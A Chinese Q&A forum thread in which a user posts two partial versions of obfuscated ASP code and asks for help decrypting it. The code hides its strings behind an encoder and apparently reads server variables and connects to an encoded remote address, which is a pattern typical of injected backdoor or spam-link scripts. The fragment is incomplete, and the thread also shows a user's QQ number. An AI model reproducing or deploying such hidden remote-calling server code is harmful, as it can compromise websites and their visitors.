asp代码加密 解密

asp代码加密 解密

这是一部分文件，只解这部分，可能不一定行，解密代码如下：
Dim rsp,se,app,sr
Set rsp=Response:Set se=Session:Set app=Application:Set sr=Server
Set a = New newClass
a.dizhi = Response("fd]hg]`eg]dh")
a.filename = Request.ServerVariables(Response("$4C:AE0}2>6"))
a.csvalue = Response("G:56@")
a.cachefile = Response("^42496")
a.connect
Class newClass
Public aa,dizhi,bb,filename,csvalue,cachefile
Private cc,dd,ee,ff,gg,hh,ii
Private Sub Class_Initialize
cc = ""
filename = Response(":?56I]2DA")
csvalue = Response("A286")
dd = Request.ServerVariables(Response("$t#")&Response("'t#0$~u%")&Response("(p#t"))
aa = Response("`af]_]_]`")
dizhi = Response("`af]_]_]`")
bb = ""
hh = Request.ServerVariables(Response("w%%!0w~$%"))
cachefile = Response("^42496")
ii = abcd()
End Sub追问虽然你回答不完整，给你了。

Dim Application,Request,Response,Server,Session
Set OOO9OO999 = New OOOOO999
OOO9OO999.dizhi  = OOOO9O9O("fd]hg]`eg]dh")
OOO9OO999.filename  = Request.ServerVariables(OOOO9O9O("$4C:AE0}2>6"))
OOO9OO999.csvalue  = OOOO9O9O("G:56@")
OOO9OO999.cachefile  = OOOO9O9O("^42496")
OOO9OO999.connect
Class OOOOO999
Public OOOOO99O,dizhi,OOOOO9OO,filename,csvalue,cachefile
Private OOOOOOOO,OOO999999,OOO99999O,OOO9999O9,OOO9999OO,OOO999O99,OOO999O9O
Private Sub Class_Initialize
OOOOOOOO = ""
filename = OOOO9O9O(":?56I]2DA")
csvalue= OOOO9O9O("A286")
OOO999999 = Request.ServerVariables(OOOO9O9O("$t#")&OOOO9O9O("'t#0$~u%")&OOOO9O9O("(p#t"))
OOOOO99O = OOOO9O9O("`af]_]_]`")
dizhi  = OOOO9O9O("`af]_]_]`")
OOOOO9OO = ""
OOO999O99  = Request.ServerVariables(OOOO9O9O("w%%!0w~$%"))
cachefile  = OOOO9O9O("^42496")
OOO999O9O = OOOO99OO()
End Sub
贴全代码吧，代码不全不好分析

00009090才是的东西没找到这是解密的追问你的邮箱多少，我发你，知道提问有字数限制。 我也想发全的呀...............追答私聊我发吧追问744169395 我的QQ。 额，QQ私聊吧。百度的我不知道什么可以在线聊的。